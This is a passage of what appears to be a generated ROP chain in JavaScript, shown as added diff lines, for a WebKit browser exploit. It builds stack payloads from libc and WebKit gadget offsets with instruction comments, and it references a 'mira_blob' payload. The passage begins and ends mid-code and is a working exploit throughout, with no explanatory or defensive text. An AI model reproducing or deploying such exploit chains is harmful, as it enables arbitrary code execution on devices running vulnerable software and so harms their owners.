rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +close_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+192504, //L2924 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2924: +db([0, 0]); // 0x0 +//_main: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+192576, //L2926 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2926: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+192640, //L2927 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2927: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([2104, 0]); // 0x838 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796 //pop rax +]); +//L2929: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2931: +ropchain+192784, //L2930 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+215272, //L2932 +//L2930: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+192912, //L2933 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+192944, //L2935 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+192928, //L2934 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2933: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2934: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2935: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+193088, //L2939 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+193104, //L2940 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+193072, //L2938 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2937: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2938: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2939: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2940: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+193216, //L2941+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+193208, //L2941 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L2941: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+193232, //L2941+24 +ropchain+193696, //L2936 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+193304, //L2944 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2942: +db([1, 0]); // 0x1 +set_gadget(libc_base+165442,); //pop rdi +//L2943: +db([1, 0]); // 0x1 +set_gadget(webkit_base+3789839,); //pop r11 +//L2944: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+193416, //L2945 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+193448, //L2947 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+193432, //L2946 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2945: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2946: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2947: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+193552, //L2948 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+193568, //L2949 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2948: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2949: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+193688, //L2950 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+193672, //L2951 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2951: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2950: +db([0, 0]); // 0x0 +//L2936: +set_gadgets([ +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+193784, //L2953 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+193816, //L2955 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2952: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L2953: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2954: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2955: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+193912, //L2957 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+193896, //L2956 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2956: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2957: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2958: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2959: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2960: +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2961: +db([2, 0]); // 0x2 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2962: +db([4096, 0]); // 0x1000 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+194224, //L2964 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2964: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2966: +db([1, 0]); // 0x1 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2967: +db([2, 0]); // 0x2 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+194416, //L2969 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2969: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2971: +db([4, 0]); // 0x4 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+194560, //L2973 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2973: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+194704, //L2977 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2975: +db([65536, 0]); // 0x10000 +set_gadget(libc_base+165442,); //pop rdi +//L2976: +db([65536, 0]); // 0x10000 +set_gadget(webkit_base+3789839,); //pop r11 +//L2977: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+194800, //L2979 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+194784, //L2978 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2978: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2979: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2980: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2982: +ropchain+194952, //L2981 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+219304, //L2983 +//L2981: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967248, 4294967295]); // -0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+195040, //L2985 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2984: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L2985: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2987: +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+772328, //pop rcx +//L2988: +(window.mira_blob||0), +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2990: +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+195240, //L2993 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+195224, //L2992 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2992: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2993: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+195432, //L2999 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+195448, //L3000 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+195384, //L2996 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+195400, //L2997 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2996: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2997: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +//L2998: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2999: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3000: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+195560, //L3001+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+195552, //L3001 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L3001: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+195576, //L3001+24 +ropchain+202024, //L2995 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3002: +db([4294967276, 4294967295]); // -0x14 +set_gadget(libc_base+772328,); //pop rcx +//L3003: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+195672, //L3006 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3005: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3006: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+195728, //L3008 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3008: +db([0, 0]); // 0x0 +//L3007: +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+195792, //L3011 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3010: +db([4294967276, 4294967295]); // -0x14 +set_gadget(libc_base+772328,); //pop rcx +//L3011: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+195896, //L3014 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+195880, //L3013 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3013: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3014: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+196056, //L3017 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+196088, //L3019 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+196040, //L3016 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+196072, //L3018 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3016: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3017: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3018: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3019: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+196168, //L3020 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+196184, //L3021 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3020: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3021: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+196280, //L3023 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+196264, //L3022 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3022: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3023: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+196392, //L3026 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L3024: +db([65536, 0]); // 0x10000 +set_gadget(libc_base+165442,); //pop rdi +//L3025: +db([65536, 0]); // 0x10000 +set_gadget(webkit_base+3789839,); //pop r11 +//L3026: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+196504, //L3027 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+196536, //L3029 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+196520, //L3028 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3027: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3028: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3029: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +webkit_base+47019, //setl al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+196696, //L3030 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+196728, //L3032 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+196712, //L3031 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3030: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3031: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3032: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+196872, //L3036 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+196888, //L3037 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+196856, //L3035 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3034: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3035: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3036: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3037: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+197000, //L3038+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+196992, //L3038 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L3038: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+197016, //L3038+24 +ropchain+197032, //L3033 +libc_base+489696, //pop rsp +ropchain+197048, //L3039 +//L3033: +libc_base+489696, //pop rsp +ropchain+202008, //L3040 +//L3039: +libc_base+713278, //pop rsi +ropchain+197104, //L3042 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3041: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+772328,); //pop rcx +//L3042: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+197208, //L3045 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+197192, //L3044 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3044: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3045: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+197352, //L3049 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+197320, //L3047 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+197336, //L3048 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3047: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3048: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3049: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+197424, //L3050 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3050: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+197480, //L3052 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3052: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+197576, //L3055 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3054: +db([4294967276, 4294967295]); // -0x14 +set_gadget(libc_base+772328,); //pop rcx +//L3055: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+197680, //L3058 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+197664, //L3057 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3057: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3058: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+197840, //L3061 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+197872, //L3063 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+197824, //L3060 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+197856, //L3062 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3060: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3061: +db([0, 0]); 